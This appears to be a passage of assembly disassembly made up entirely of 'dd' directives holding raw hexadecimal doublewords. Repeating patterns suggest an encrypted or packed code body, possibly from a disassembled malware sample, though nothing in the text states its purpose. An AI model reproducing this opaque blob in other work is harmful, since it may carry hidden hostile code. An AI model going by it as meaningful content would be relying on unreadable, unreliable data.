		dd 921629EDh, 85DB11A2h, 60321566h, 4A79C616h, 0CB995FA9h
		dd 88268A91h, 4432AC37h, 0D3331566h, 1132AF34h,	42331566h
		dd 1D680F65h, 0FD09406h, 40097E73h, 54FBAB00h, 0C1B9743Fh
		dd 25D6362Bh, 14BB1A06h, 31321566h, 4C6D2214h, 0A953CDECh
		dd 0F52770F3h, 90B91A61h, 24321566h, 2DDBFAD3h,	52321566h
		dd 0A9995214h, 1A958941h, 0C118265Dh, 4253158Ah, 0F153B3DDh
		dd 0AFF3561Fh, 0A3E9E263h, 2506E795h, 0D3EC3C9Ah, 4432068Fh
		dd 4722F666h, 0E426E7EFh, 0BB2CBAAh, 0DB93443Eh, 72379178h
		dd 31DFA8E5h, 87331282h, 4434D1E2h, 2239FC66h, 0DAAB1566h
		dd 6BBF98D9h, 226E245Fh, 2DEA2E41h, 11321FE4h, 5209E066h
		dd 45489369h, 0ABCA1566h, 0F51C14D3h, 81DBED61h, 30321566h
		dd 0F6532A4Bh, 38D56B01h, 711288EDh, 0C23D128Dh, 2232156Ch
		dd 1132108Fh, 0E7EDDC66h, 0FD631898h, 60F75F93h, 1165967h
		dd 0AC6E143Fh, 605E946Ah, 0E778E06Ah, 0AB547524h, 35470DDh
		dd 16DB74B5h, 2D321560h, 113207EEh, 883FFC66h, 5DD31566h
		dd 0B6563A4h, 0F5CB7731h, 87414D23h, 443209E2h,	34BD1A66h
		dd 0F8321566h, 88321577h, 0BFF1D752h, 0B6B1495Ah, 8C276030h
		dd 4B386AE7h, 600E9E25h, 0A3D49C30h, 113211A0h,	8CF49666h
		dd 181621E1h, 0A887306h, 11BA1A32h, 0E9321566h,	64DF90A1h
		dd 22331282h, 0A6521566h, 9AB6AFA5h, 0BD5359F6h, 741609EDh
		dd 0D7B3F3EFh, 88321562h, 0C336D3E5h, 426E3152h, 11319B69h
		dd 3541566h, 45B41AA4h,	0DE321566h, 3506EA07h, 8CF6963Fh
		dd 4434FC06h, 92581566h, 0B714766h, 88239D69h, 48DB1566h
		dd 75321566h, 0D6EDE4C6h, 0B5F8CEDAh, 2577506Dh, 751621EDh
		dd 0D6B3F2EFh, 88321562h, 0C336D2E5h, 2D6E315Ah, 113207E2h
		dd 883FFC66h, 0E6551566h, 9B2199F7h, 648B49D4h,	0DEABAD68h
		dd 0FE60F3EFh, 22321562h, 9268C367h, 0BCB511A0h, 4CDB4942h
		dd 0A321566h, 86DF571Ah, 8707A289h, 443219E5h, 24B61A66h
		dd 1E321566h, 883215E3h, 927DFC66h, 0A352EA99h,	18B95BA4h
		dd 0E9BFA167h, 5F77A8E5h, 2D331282h, 113709E2h,	1519E066h
		dd 43D6362Bh, 22339869h, 9AC71566h, 6C29FCEBh, 4438FC61h
		dd 16A1566h, 0BC381C69h, 18B58751h, 5415D4E7h, 0FB332361h
		dd 724CAD36h, 0BD7A13AFh, 28494B98h, 643A574Bh,	485C1047h
		dd 0BD7A2FE0h, 0F1C78BEFh, 426AD44Fh, 1132128Eh, 0C7657966h
		dd 0B38438D3h, 22321E8Fh, 0ADE1966h, 3744EF2Ah,	0E37D6C28h
		dd 9961743Eh, 4F243DCCh, 0A169CC4Fh, 0EEF3949Fh, 426C034Eh
		dd 91C09400h, 51851A3Ah, 2C674307h, 27B3094Dh, 0CBF7943Bh
		dd 1C86B85h, 0B51B4888h, 0A53D7538h, 11321566h,	0E9EC9E00h
		dd 1F854600h, 7954EDEEh, 9E36DD98h, 88279469h, 0C93D1566h
		dd 22321569h, 11321F8Fh, 0F763FB66h, 0A5C0713Ch, 88FCF885h
		dd 0CFB84206h, 82B1AC39h, 14534B32h, 2229700Eh,	353E9C66h
		dd 61CB4C3Eh, 44321568h, 912A6E5h, 5D9FC48Ch, 0A177C2C2h
		dd 0B199EB13h, 72D39C37h, 113211DEh, 0D0F31466h, 0C336D4E5h
		dd 0CB6E316Ah, 11321572h, 2610CE32h, 54BF7D4Fh,	0E3A78389h
		dd 0E484FE49h, 952B4720h, 1F162199h, 2236D1E7h,	0F8CE1566h
		dd 8832156Ch, 8F658D8Eh, 0B26C6FABh, 25CD28FFh,	4CB14C42h
		dd 70CDED62h, 0E6B14B42h, 1B91A62h, 87321566h, 44321FE6h
		dd 2237FC66h, 40FA1566h, 61A840D7h, 44321577h, 0E5F99417h
		dd 712F903Eh, 26B1BBFAh, 0FFE0873Eh, 7A664582h,	11321163h
		dd 8CF29666h, 181611E1h, 0FA17FC93h, 9D3DEA99h,	88321567h
		dd 64B7D29Ah, 2035FE9Fh
		dd 0F8321566h, 8832156Ah, 0DC6984CDh, 0D9C83E36h, 0D2B9C1F3h
		dd 1C59C31h, 600E9E9Dh,	0DB36D1E5h, 113DFD06h, 0FD8A1566h
		dd 0D3ACC7A1h, 87BFD2C0h, 0D6C4B1ABh, 8835FC3Bh, 5C3E1566h
		dd 885B9D5Fh, 0A63D4C66h, 3E3D74BFh, 0BDB2E968h, 6AB11AE6h
		dd 0F8321566h, 88321577h, 79943803h, 0FECEDCA9h, 4105BE6Bh
		dd 0E0A84636h, 7AF194A2h, 0A31F1807h, 6A68818Dh, 9F91430h
		dd 3F6881A5h, 1CD99430h, 0ED1F1807h, 77CDAF34h,	971BEA99h
		dd 9EDBE93Ch, 71321566h, 56D8AE00h, 0C553D4EDh,	2232118Ah
		dd 352E9C66h, 4FCC26D1h, 0A3B2C290h, 2ADD9574h,	913AFAA6h
		dd 711AEA91h, 45B81A3Dh, 0DE321566h, 113C9C69h,	81DB1566h
		dd 3B321566h, 0ACE95571h, 0E3DA5A12h, 8832150Eh, 603E3C66h
		dd 0A11619EDh, 923D11A2h, 8832157Fh, 44219669h,	2CDB1566h
		dd 0F321566h, 780C3B98h, 272F1379h, 0C451873Dh,	306E7D04h
		dd 0A4BB1566h, 428DA842h, 0E7B355E7h, 0AE4CEF26h, 876FFC47h
		dd 44320CEFh, 2226FC66h, 82721566h, 59640D45h, 9E9587h
		dd 83E8B0AEh, 3C0EEF34h, 36640B71h, 4C5B696Ah, 0B6CE667h
		dd 1DD994ADh, 873A7C1Ah, 443214E5h, 0A9CAE066h,	0F51158E3h
		dd 8837FC61h, 1D011566h, 0A983D053h, 0F52770F3h, 0F3D7561h
		dd 44321560h, 8319DBE7h, 953D1450h, 88321566h, 0BF37FC07h
		dd 0E5CBEA99h, 0FACB35E3h, 88321761h, 0CF547566h, 0AB6374A0h
		dd 3DB34497h, 0B9066342h, 87B34E46h, 2032110h, 1D88753Fh
		dd 867FF44h, 0AD536C83h, 22321576h, 20712A59h, 0AF511CC0h
		dd 6A998BD8h, 35319947h, 0E43CA369h, 87B2ECE6h,	443266E5h
		dd 0A9547566h, 0DE8B739Dh, 63B3744Ah, 26A96345h, 37FBFEE7h
		dd 0DA333EEDh, 9DFBD6E7h, 87B33EEDh, 40A96345h,	11321D8Fh
		dd 0E10A66h, 5F80AB15h,	238B44FCh, 10321566h, 43D4CADh
		dd 44321572h, 22321A8Fh, 415EF066h, 2682ADD9h, 0F4079729h
		dd 2FF7C03h, 11399A69h,	8EDB1566h, 5E321566h, 0B1489579h
		dd 119BFCFBh, 8DDB1566h, 41321566h, 26136372h, 39CDA334h
		dd 0AC269E97h, 4436D1E7h, 4ACB1566h, 11321566h,	0F81639E7h
		dd 6D405618h, 26B3316Ah, 524C6542h, 61524C14h, 44321572h
		dd 0CF567E35h, 5A2DDE5Fh, 4E2E2C22h, 371C78FCh,	986B1B62h
		dd 1132128Fh, 0C67F9B66h, 0EF539939h, 0DD894607h, 30321566h
		dd 0AC2E9EBFh, 4436D1E7h, 74521566h, 0F86A86D6h, 8832156Dh
		dd 0A5125C1Ch, 9AB42727h, 70E5D5C7h, 0BC21D6E7h, 0AFB36D2Ch
		dd 107D4287h, 0D2B3DE4Fh, 0BA7D4287h, 7021FEE7h, 44526D2Ch
		dd 683CEE7h, 87537506h,	443215EEh, 0A9537466h, 0F51158E3h
		dd 95BB1A61h, 4B321566h, 223202E1h, 1120FC66h, 86E31566h
		dd 0AD9FC9FAh, 314B2F71h, 0F97BA712h, 86E6971Ah, 515780EDh
		dd 2CDB1282h, 0A6321566h, 65FD1449h, 0A7F9D864h, 51BAC679h
		dd 548F96D8h, 8935F17Dh, 0B3089169h, 2CDBEA99h,	8C321566h
		dd 1CEA320Bh, 5D0EF373h, 947CC731h, 1EEA2EB4h, 88320AE4h
		dd 4423FC66h, 0CDFC1566h, 1D89DC2h, 0B5F292A4h,	0A982D89Fh
		dd 1B5EC9ABh, 0ADB41AB5h, 7DCDEA8Bh, 1BBBAD36h,	2F727380h
		dd 108A5A5Ch, 0C831F5A7h, 49303B63h, 7AF414A6h,	15DE969Ah
		dd 91621EFh, 1A9B314Ah,	0A36B4796h, 0E16CBCA7h,	80B81A34h
		dd 24321566h, 22329A69h, 90531566h, 9D7875A7h, 12CB3C42h
		dd 7E7397D8h, 0CFF49419h, 0A196AC6Eh, 0C23D4B97h, 22321567h
		dd 0AA61479Fh, 0A1B13E92h, 7FEFFEE7h, 0E1B34FFEh, 68197263h
		dd 4CD19425h, 0C535A301h, 27250595h, 0E0F1946Eh, 1C5F9C9h
		dd 951B4EBCh, 32DB753Ch, 7A321566h, 0D408353Ah,	3D1029C7h
		dd 4CA99D8Dh, 70EB878Fh, 0D9B5A037h, 0A1F2ECD3h, 20D7D56Eh
		dd 0D15CF0E6h, 65B21683h, 1DDA9DF8h, 0D76BFD66h, 9152E9CCh
		dd 373D82ABh, 15627497h, 63E9E3Eh, 1136D1E7h, 23CE1566h
		dd 97EBFC9Fh, 73C7EA99h, 113215DFh, 73DB9466h, 45078004h
		dd 0D9F39497h, 9B078004h, 93D4C67h, 44321576h, 22321E8Fh
		dd 27D43A66h, 0AB89FA8Dh, 0A6EC4BE6h, 0A63DFD5Ah, 1132155Dh
		dd 88321D8Fh, 2801B066h, 42D64BC0h, 0E48D42BBh,	7F57262Fh
		dd 95E5E2B1h, 0D8DD9489h, 46008CC2h, 61C74A3Eh,	4432140Ah
		dd 22321B8Fh, 20FBAF66h, 9D211D2Ah, 653FB7EDh, 4AD74157h
		dd 11323406h, 0E81609EFh, 22F89E00h, 3B15D3E7h,	98624707h
		dd 0D0F09C96h, 4B68C6EFh, 22321DE4h, 13B31A66h,	0E8321566h
		dd 458A4507h, 27321566h, 1E372E01h, 0EF1FE567h,	473D105Dh
		dd 25DB4D7Eh, 3E321566h, 47A6AF44h, 0C63D8EA0h,	22321567h
		dd 148C439Ah, 9321566h,	0CF434AA5h, 0A3C11470h,	9A434A8Dh
		dd 60524B70h, 44321560h, 26CCC1D4h, 0A63D59CDh,	8DDB4CBCh
		dd 1E321566h, 0BCD7B9A9h, 0A0637307h, 0EEFA9D54h, 0B2F2EB3Fh
		dd 0DA1721BEh, 1132128Fh, 887DE966h, 0F9F84E9Dh, 688A75CCh
		dd 912C6FAFh, 9536C92h,	0CC5E10A5h, 0C8D9942Eh,	3841773Ch
		dd 62F1949Dh, 0C541773Ch, 0AA5E108Dh, 7963EC2Eh, 88321562h
		dd 1DF93C3Fh, 223D9C69h, 1BDB1566h, 62321566h, 0A16C1CEDh
		dd 0C8B4D15Eh, 20EA2408h, 0E8EA24A5h, 85AAE7E7h, 89532DDFh
		dd 3506EA9Fh, 8CF6963Dh, 442A9269h, 44521566h, 0F8A922DDh
		dd 8832156Bh, 6397EA2Dh, 0EEFE7666h, 414CF301h,	326074F7h
		dd 44321563h, 36B9C367h, 15F69442h, 0E8321566h,	1B8DC1ECh
		dd 4375C7B5h, 1133AE35h, 1601566h, 1EE29CBCh, 37BC1A3Dh
		dd 0F8321566h, 88321576h, 2A036EFAh, 86E725C1h,	0F94C3B58h
		dd 13B3B43Dh, 4421FCA5h, 5E6D1566h, 0F53411CDh,	820BBFEEh
		dd 698BF11Bh, 0FA35BDD4h, 0F1BB4592h, 88321163h, 44363866h
		dd 26B51566h, 1DBB4942h, 8835FC42h, 0CDAD1566h,	0C3630DD2h
		dd 27CD7366h, 0AC369E00h, 0AD30D1E5h, 22321563h, 5E782E81h
		dd 87F12988h, 44331BE2h, 0E90EE066h, 10379169h,	0B4CE1566h
		dd 2B61AA4h, 42321567h,	0EFB97334h, 0E9EC9F39h,	0C03DDF5Ah
		dd 22321453h, 1132188Fh, 0C45DC866h, 9160DF88h,	53F8A228h
		dd 2C5476F1h, 0C3D3099h, 4432140Fh, 22339069h, 77CE1566h
		dd 87CD3B5Bh, 443295E3h, 3BB71A66h, 0F8321566h,	88321572h
		dd 0F38C8B3Dh, 0F5870C5Ch, 0AC96974Ah, 4AA0261h, 212488AEh
		dd 2236F9E7h, 0DBB1566h, 8830AE42h, 0B7331566h,	2D6916ECh
		dd 113211EFh, 7AB97566h, 0C2844707h, 0DC31FBA6h, 8F495A8h
		dd 44864500h, 1C54F356h, 0A207E3E6h, 0E1123490h, 348D753Ch
		dd 24375458h, 436C459Ah, 1E922907h, 883322E2h, 443DFC66h
		dd 7B531566h, 0BDF3D53Dh, 49BD21F1h, 2345307h, 606EACBh
		dd 15F6943Fh, 7D321566h, 350BA833h, 0D7B300F3h,	7F0626E5h
		dd 496FFDEFh, 1307168Eh, 2D3D614Eh, 113214E2h, 7BDBE966h
		dd 0B8321567h, 2237FD06h, 69161566h, 0E8A50122h, 75534B07h
		dd 28DB75AFh, 36321566h, 0C0AC88A6h, 28885FDAh,	0E8B973D9h
		dd 728F4007h, 7F0AC336h, 27C794B3h, 0B0AC336h, 1E52488Fh
		dd 883217EBh, 4BFBA366h, 0CB53EAD1h, 11321580h,	88339C69h
		dd 24CA1566h, 0FE4201D9h, 0E9B97358h, 7F8D4207h, 0C56D2A4Ah
		dd 5E7D7091h, 0D2D59446h, 0D83C1E43h, 734433DEh, 1EB1835h
		dd 0B81717D6h, 0AD05C26Bh, 7CF03E1Bh, 0EE1FC591h, 10E8CEF8h
		dd 47B34DA1h, 55574154h, 0F789FAE7h, 0E8BB2683h, 8837FC39h
		dd 4FD51566h, 0CB0426E1h
		dd 113215E0h, 0E062429Ah, 3B4D26EEh, 27D2D43Eh,	1FB12026h
		dd 4F0747B1h, 0CDC2E075h, 0CDF34DA1h, 77DD946Eh, 13258A2h
		dd 4CDB4A9Fh, 67321566h, 0BED3934Bh, 61A1BC1Eh,	44321528h
		dd 223F9069h, 0AE521566h, 92AEA17Eh, 44329469h,	0D7531566h
		dd 1575AB30h, 6EF316A5h, 3DC946Eh, 6C61160Dh, 30D7F3E7h
		dd 7EB33883h, 643214C1h, 16B9E4EFh, 15F69642h, 8832048Fh
		dd 0D699D766h, 8D9260F5h, 9C8994A7h, 798DBB7h, 0E0C1F581h
		dd 2232188Fh, 0BAB72366h, 9B7AEE89h, 5F472133h,	0AFB95971h
		dd 16D60003h, 883E9969h, 0C33D1566h, 22321560h,	11329669h
		dd 8EDB1566h, 0D4321566h, 2A2012A4h, 1EFB908Fh,	88320AE3h
		dd 4421FC66h, 19441566h, 0C34A278Dh, 24F55AFFh,	52C47FBh
		dd 1093AFB7h, 74879C40h, 7D35F173h, 171619EDh, 0E1B3F6EFh
		dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223202ECh, 1120FC66h
		dd 0FCD1566h, 0B7E6C8D1h, 0E0ED537Eh, 0FDF85D6Ah, 0B61A70DFh
		dd 0FF614393h, 22321567h, 9869CBEFh, 87524B96h,	443217E4h
		dd 0CA39A366h, 11321574h, 0D951E6EBh, 0BDB17A7Ch, 0E931353Dh
		dd 9DAE8B6Fh, 0C3D744Ah, 44321566h, 0DBF1743Dh,	9836F9E5h
		dd 8889317Ah, 45321566h, 21B97395h, 9054753Dh, 0D8222A81h
		dd 256A7406h, 0A63DD65Ah, 113214BAh, 8832078Fh,	4E3AF866h
		dd 0DA3CA000h, 5C0B5216h, 18525459h, 2482E48Dh,	22349E69h
		dd 973D1566h, 88321566h, 15537506h, 70537439h, 9963D7EEh
		dd 0D1F99DB7h, 443DFC3Ch, 14E61566h, 71B0459Fh,	0CA7861ADh
		dd 8AC861DDh, 8582459Bh, 5816EA62h, 0D106BC62h,	246AD646h
		dd 22319269h, 9A541566h, 0E9C2A0A8h, 4B42EEE6h,	223637E2h
		dd 0A9547566h, 73D1A18h, 4432156Bh, 22321D8Fh, 0AF710366h
		dd 601CD564h, 0AD0E748Dh, 237C9169h, 2DCE1566h,	0CDB61A8Dh
		dd 0BD321567h, 0D9B97306h, 0D30E7493h, 89049169h, 0C93D1566h
		dd 22321577h, 1132198Fh, 0E3DCBA66h, 1C8D2597h,	0ABDA6Bh
		dd 1EF92992h, 883302E2h, 48BE1A66h, 2D321566h, 113213EEh
		dd 88BC1A66h, 22321566h, 2D17EA5Bh, 1132EEE2h, 3F3D7566h
		dd 225274A8h, 1D39F7E7h, 0DAF79537h, 420E7439h,	44D09169h
		dd 1ECA1566h, 9DB61A85h, 61321565h, 44321560h, 188FEE5h
		dd 1FDB62D7h, 5E321566h, 0FBAB77D1h, 7EC7312Dh,	8A75376Ch
		dd 0A60F7369h, 18B71A99h, 42321566h, 0F6B3739Ah, 0D9535748h
		dd 4432170Eh, 0D3334C66h, 716B14ECh, 492661D9h,	1753E91Eh
		dd 0A22EA334h, 0E7B2B390h, 0D2C59D59h, 6459D2E6h, 44524E9Eh
		dd 29A3DEE7h, 8832048Eh, 8A018A66h, 436AE6F2h, 9B0AEE99h
		dd 4C417B23h, 0B7B34AB5h, 0F85076Ah, 0B10E7438h, 88649169h
		dd 2CCA1566h, 22326C26h, 0AE1629EFh, 0F0232061h, 337F2A7h
		dd 82D3FAE7h, 0E9BB1740h, 82DA7539h, 99321566h,	31BFA89Ch
		dd 0DAE3756Eh, 46D09591h, 443AFC3Dh, 0AE961566h, 0BF25A8D2h
		dd 61534E62h, 4432151Eh, 22321A8Fh, 0B15E0066h,	0A599A65Ah
		dd 1214173Ah, 6E21A481h, 457A0EFh, 84DB1282h, 0C3321566h
		dd 0A4E188B9h, 17714BD9h, 7DF2C21Fh, 8D0A88EBh,	0DDC7128Ch
		dd 1ADA75B5h, 85321566h, 0E47AA76Bh, 40C2BEDEh,	4B60AFEAh
		dd 3664743Eh, 4B323DACh, 0ECB5CB91h, 0DFB5C491h, 0EB2FF3E7h
		dd 0C57C4105h, 22121288h, 4FC29C62h, 88321E8Fh,	0C64A1766h
		dd 0D2B3619Eh, 554C679Eh, 73DE0A5h, 44321572h, 22BF1A06h
		dd 0F8321566h, 88321561h, 6BD1CEA5h, 4342B6FBh,	1160480Eh
		dd 0AC369C66h, 52B51A9Ah, 2D321566h, 113205ECh,	8839FC66h
		dd 973B1566h, 0BBECA214h, 0AB298765h, 8CDE9615h, 0FD1619EFh
		dd 22321576h, 10B9E467h, 33D753Fh, 44321560h, 22329B69h
		dd 0E3B31566h, 0C4804456h, 0B9B79C07h, 4235F14Fh, 90B0AB00h
		dd 88329369h, 0BB531566h, 0A16A3152h, 2DB11A2h,	15321566h
		dd 0B11820FAh, 0FEFE46E4h, 5C79831Bh, 0A6ED97AFh, 0FB65FB2Bh
		dd 2232157Ah, 2DB9EB67h, 8CF69442h, 24321566h, 22309869h
		dd 0CEB91566h, 0CCF9AB00h, 5CB81A07h, 0CB321566h, 11321575h
		dd 0A5D9E938h, 3314B0FAh, 0A6BD24ACh, 0B8C08942h, 5D15A93h
		dd 0A02AC0DBh, 2220FC61h, 0F2D81566h, 83DA5B4Ah, 0EF678D20h
		dd 0B1A2ADF9h, 73704E15h, 3163EDCBh, 2C574B1Ch,	216BDD4Fh
		dd 14163122h, 0E0574B1Ch, 4432018Fh, 420DB366h,	0AC748388h
		dd 25627F07h, 5D5073h, 81C43D0Bh, 1E52BE25h, 883217E7h
		dd 0C4F9A566h, 0AF53A08Bh, 0F5271CDBh, 83B41A61h, 24321566h
		dd 2DC29E00h, 113215E6h, 0E89F7466h, 43DBCCEDh,	0FD321566h
		dd 72E55768h, 0DE5379F3h, 723ADD8h, 20D4D435h, 9030FBA7h
		dd 2A08DB80h, 0D6DC9453h, 0BDFD98Ch, 55314B96h,	7E373142h
		dd 24112043h, 42F09400h, 80897368h, 1677449h, 40F79483h
		dd 0A1321566h, 3DB5118Bh, 8CBB4942h, 96817542h,	8953B3D3h
		dd 1132068Fh, 78A0A366h, 418CE905h, 6C9E1754h, 84432D0Eh
		dd 98C15924h, 6257A8EBh, 0A83D1282h, 11321563h,	71537506h
		dd 41DBB807h, 0A4321566h, 0AAA076F8h, 8832188Fh, 0D6D18566h
		dd 96FB625Dh, 566C8EBEh, 3765B321h, 462242D2h, 216DED67h
		dd 3C1A3122h, 8A2242D2h, 44379569h, 75521566h, 0BA53E038h
		dd 8AE19406h, 4B0D4026h, 0A953DFD1h, 98643152h,	8CF49480h
		dd 0C7321566h, 16B511A0h, 963D4942h, 88321546h,	4420FD06h
		dd 9C9B1566h, 7271C44Eh, 460ABA47h, 354184F5h, 0EB9386B8h
		dd 11B01A3Fh, 0E9321566h, 0F33D75A5h, 0F9B37396h, 9053D668h
		dd 8832118Ah, 60069C66h, 0FD851A06h, 11319A69h,	373D1566h
		dd 0D9BF74A6h, 25D8DD3Dh, 11321A8Fh, 0BB6B9C66h, 0D883CA6h
		dd 98951D06h, 6CE47A41h, 8FDBC699h, 7F321566h, 220BF551h
		dd 0A5DBB923h, 87CDEA9Ah, 3214ECh, 0CEDFF500h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 0AE2475C0h, 0A8ED96A5h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 4261BCBFh, 3832DCF1h, 0BA8DFE80h
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 0BF01F438h
		dd 0DF07462Dh, 5343FBCEh, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 0EC3B8FA7h, 0D9FB5649h, 0AE2079B0h, 0DD7BAEA5h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0E932DCAAh, 168DFE83h
		dd 0FEC4CB2Fh, 967512C1h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 499D8D00h, 0B807E40Fh, 2490h, 0F58589h
		dd 0E807E4h, 58000000h,	0D05h, 0E9038900h, 2490h, 49h dup(0)
		dd 83000000h, 0A4F305E9h, 5203CB8Bh, 6612E208h,	0FD952F82h
		dd 5310FB75h, 0B959473Ah, 3256D5BAh, 3256EC58h,	0CD96CCB1h
		dd 3DD2BF71h, 32564B38h, 22D0A1B1h, 0DB5657B1h,	3256ABBAh
		dd 0E9839ADBh, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0DE2A17FBh
		dd 0D525FA91h, 0ADFDF53Fh, 909E9C30h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 3C987C27h, 0A0721618h,	83152CFFh
		dd 0A4F305E9h, 0BD8DDB8Bh, 7EBF924h, 81078D8Dh,	44B807ECh
		dd 2B321566h, 2E9C1CFh,	0C8D00731h, 4904C783h, 0CE9F675h
		dd 0AE000000h, 0FFD2EE24h, 780BAA22h, 0E9BF6215h, 10h
		dd 0FF62D5DEh, 0F2722432h, 0BAC803AFh, 64E10DE2h, 9E9h
		dd 0FB0B4B00h, 46F8D4A4h, 0DF68C03Fh, 89000013h, 0E9582404h
		dd 0Eh,	30AD4D67h, 5155DEDBh, 0B52220B4h, 0BD83F822h, 7E413F1h
		dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 411B8h
		dd 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h
		dd 7E409h, 53501774h, 411B8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh
		dd 5BD3FF07h, 0B960F858h, 41252E77h, 48B5061h, 4C48324h
		dd 6E9h, 1B141800h, 0F82DE1D4h,	5E8h, 0EA781A00h, 0D580E360h
		dd 8F0F5827h, 9, 3830Fh, 0CD800000h, 14C081BDh,	6800005Dh
		dd 0
		dd 48E18166h, 0EB8A5B9Ch, 520334FFh, 5F5E96B6h,	14E9h
		dd 0F3F39D00h, 0EE8C7609h, 0AC2F6C0Ah, 1E21D045h, 0BE86A016h
		dd 0F6F781EFh, 665CCF7Ch, 81E1F6B9h, 94772CC7h,	0DF8B6038h
		dd 61F5F180h, 0AE93EF81h, 0B70F75C1h, 0C68157CAh, 217B4FE1h
		dd 6618048Fh, 834664BAh, 0D98102EBh, 42AA65A2h,	8D0F4B4Bh
		dd 2, 0FB81CB8Bh, 0FFFFA3A4h, 12850Fh, 0AB90000h, 0E92C1707h
		dd 19h,	0CC3B114Dh, 77146424h, 79E984B2h, 66FFFFFFh, 37C6439Eh
		dd 0BBA26105h, 0AE994h,	910D0000h, 5489h, 0
		dd 4ECE9h, 86466800h, 0A4E907ECh, 68FFF7F8h, 7EC86C5h
		dd 0F7F89AE9h, 886468FFh, 90E907ECh, 0C2FFF7F8h, 1E34C8EAh
		dd 7B912545h, 0DBF1859Fh, 3E54E8FCh, 0DAB34763h, 44603B14h
		dd 0A2C09AB0h, 41AF80Eh, 657D5A70h, 0F16E1ED1h,	13AE250Ah
		dd 56F483C8h, 710F5F7Bh, 0A66C7E92h, 4FE3FBD8h,	8F390375h
		dd 0DEA46E38h, 95E6A9CCh, 0CF6AA2B6h, 917D027Fh, 70D91442h
		dd 0F365C717h, 5EF86E19h, 25DA571Ch, 0B114428Ah, 8763EF48h
		dd 64625B6Dh, 3213A6A1h, 49A2B896h, 0F69B6411h,	1F3013A6h
		dd 0BBC83767h, 0FD0DD877h, 36000002h, 0E81C745h, 70DE50A0h
		dd 90162549h, 0F3704E60h, 13A61C25h, 76818AF3h,	0EEC37AFCh
		dd 4D9D117Eh, 0EC82B2D0h, 9FD74016h, 97E7C7C8h,	88BFBD1Ah
		dd 1060C91Eh, 0E97D9572h, 0CEABF6D3h, 57E37EB6h, 8E29617Bh
		dd 6995E135h, 90D05CF0h, 3380Ah, 0A2C49C00h, 0FF1FF80Eh
		dd 5F79556Bh, 0C2D6B5CBh, 213D182Eh, 154EB48Dh,	748A1E3Ah
		dd 0D2E87C9Ah, 344ADEF4h, 0F8AB3F57h, 2634CB48h, 5DA213AEh
		dd 6C424DCEh, 259F9F1Ch, 19B513AEh, 0FA10EE3Fh,	96CE27C2h
		dd 7A926FFBh, 0FE4EA742h, 6EE95D8Ch, 2B3DB361h,	0B8D4AF4Dh
		dd 0CDAC4A24h, 0B28DA7B9h, 31B15E96h, 84EC5151h, 0AEDEA522h
		dd 137C13AEh, 0F20AE701h, 16BBE29Eh, 0D157976Ah, 2B9h
		dd 8D21431Bh, 0EA7E9E77h, 4ADEF8D4h, 0AD415534h, 0CA0BC97h
		dd 0B994CD33h, 19F3099Dh, 735167FBh, 0D6B3C95Dh, 0C7772ABEh
		dd 0AE26B54Ah, 4DDC2113h, 1162092h, 0DB1DE25Fh,	50B91442h
		dd 0AF34CFF0h, 99157A9Dh, 956AE749h, 41144205h,	6BE8C6D8h
		dd 13AE80D3h, 2AC81881h, 64FF374Bh, 1CDF8C52h, 0AB13AF8Ah
		dd 11AFEA9Ah, 48E31B35h, 0F3A45B36h, 0B531D86Eh, 5A000001h
		dd 415A7956h, 7317EECEh, 56027EECh, 5E3D72F6h, 22FFCD05h
		dd 0DB58BA0Ah, 14420B24h, 153749B2h, 0C51599F6h, 0FF840163h
		dd 5B14420Bh, 0BF087F2h, 0FE5E1442h, 420BFA81h,	96EF5814h
		dd 0D244A684h, 631F8782h, 968FA15Ah, 13A63414h,	0C8E0BD5Bh
		dd 5C3BD7B6h, 0E9751048h, 22BDF50Bh, 9DFF91C9h,	0A63B5B20h
		dd 3E8EF713h, 0A63B3AC1h, 1D2F9813h, 0A63B5B24h, 94DFBC13h
		dd 0E469FB7h, 0F476740h, 0B7FBAB2Eh, 66164E5Fh,	0D8778299h
		dd 3B3Eh, 424D6700h, 0E99F1C6Ch, 0A813A6A9h, 637CFE36h
		dd 1692B1D3h, 9FDA3AA7h, 624153C1h, 43CFEBC6h, 0BBF34C68h
		dd 98AC8B29h, 2BF28D86h, 485913A6h, 869F601Ch, 0AA38D877h
		dd 61000000h, 29617956h, 56D33597h, 1442A0A1h, 0A259C42Dh
		dd 301442A0h, 0C09BB5C7h, 0C19E6CA4h, 0DFBB59A9h, 0E0F28DC5h
		dd 576F4C1Ah, 0A4F3CEC3h, 67441442h, 0F39CBB4Fh, 3B94AA88h
		dd 43D06EEBh, 359E13A4h, 7E583E5h, 0C1EB9F1h, 67FB17F2h
		dd 65A7651h, 6A1BDE84h,	1A43C909h, 0BA000001h, 162CC0E2h
		dd 73891D3Dh, 0D3E97D97h, 364CE0F4h, 0D2AB3F5Bh, 3C58332Ch
		dd 9AB892A8h, 0FC12F006h, 5D755268h, 0E96616C9h, 13AE2812h
		dd 92EC7BC0h, 0EAFC1AF4h, 89D9F5D0h, 0AB368417h, 5FDF9C90h
		dd 64BD1DF7h, 0AACCDE94h, 0B9FB794h, 16F4923Ah,	0A12DC800h
		dd 819BADC3h, 86548CA4h, 0DEFD91A9h, 4BADFDB1h,	0A6B8D0ADh
		dd 0A6EF35ADh, 0AEFE6713h, 85193510h, 0A6F0EF90h, 4B2813h
		dd 37D20A24h, 59344ADEh, 8E7F053Dh, 0E000000h, 1C6C424Dh
		dd 0AE25E39Fh, 2940B213h, 2E41A2FAh, 0C3B83585h, 8F13AE0Bh
		dd 0C5351426h, 5CA59222h, 154DA632h, 0BE526A47h, 7BB3CBA8h
